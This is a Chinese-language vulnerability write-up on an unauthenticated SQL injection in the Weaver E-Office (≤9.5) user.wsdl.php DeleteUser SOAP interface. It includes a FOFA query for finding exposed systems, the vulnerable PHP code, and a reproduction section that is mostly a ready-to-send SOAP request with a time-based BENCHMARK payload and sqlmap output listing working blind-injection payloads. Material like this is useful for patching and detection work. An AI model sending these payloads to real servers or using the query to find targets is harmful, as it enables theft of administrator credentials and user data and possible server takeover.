漏洞简介

泛微E-Office是一款标准化的协同 OA 办公软件，泛微协同办公产品系列成员之一,实行通用化产品设计，充分贴合企业管理需求，本着简洁易用、高效智能的原则，为企业快速打造移动化、无纸化、数字化的办公平台。泛微e-office user.wsdl.php 接口处存在SQL注入漏洞，未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息（例如管理员后台密码、站点用户个人信息）之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。

影响版本

e-office <=9.5

fofa语句

app="泛微-EOffice"

漏洞分析

同样通过解析 wsdl 后有三个功能

这里只拿第一个来简单过一遍

webservice-json/user/user.wsdl.php 的 DeleteUser 业务逻辑如下

function DeleteUser( $userID )
{
    checkcurrentsession( );
    $user = new user( );
    $deleteResult = $user->deleteUser( $userID );
    return $deleteResult;
}

$userID 带入 deleteUser 函数

    public function deleteUser( $userid )
    {
        global $connection;
        if ( !$userid )
        {
            return false;
        }
        else
        {
            $query = "SELECT * FROM user WHERE USER_ID='".$userid."'";
            $res = exequery( $connection, $query );

$userid 被直接拼接进SQL语句后执行，无任何过滤校验，造成SQL注入漏洞。

漏洞复现

POST /webservice-json/user/user.wsdl.php HTTP/1.1
User-Agent: Apache-HttpClient/4.5.5 (Java/17.0.12)
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
SOAPAction: urn:UserServicewsdl#DeleteUser
Content-Type: text/xml;charset=UTF-8
Host: eoffice.mrxn.net:8082

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:UserServicewsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:DeleteUser soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userID xsi:type="xsd:string">gero' AND 4558=BENCHMARK(5000000,MD5(0x45525845))-- dfax</userID>
      </urn:DeleteUser>
   </soapenv:Body>
</soapenv:Envelope>

成功在延时 5 秒

sqlmap 结果如下

sqlmap identified the following injection point(s) with a total of 1245 HTTP(s) requests:
---
Parameter: SOAP #1* ((custom) POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:UserServicewsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:DeleteUser soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userID xsi:type="xsd:string">gero' RLIKE (SELECT (CASE WHEN (5038=5038) THEN 0x6765726f ELSE 0x28 END))-- iFxC</userID>
      </urn:DeleteUser>
   </soapenv:Body>
</soapenv:Envelope>

    Type: time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
    Payload: <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:UserServicewsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:DeleteUser soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userID xsi:type="xsd:string">gero' AND 4558=BENCHMARK(5000000,MD5(0x45525845))-- dfax</userID>
      </urn:DeleteUser>
   </soapenv:Body>
</soapenv:Envelope>
---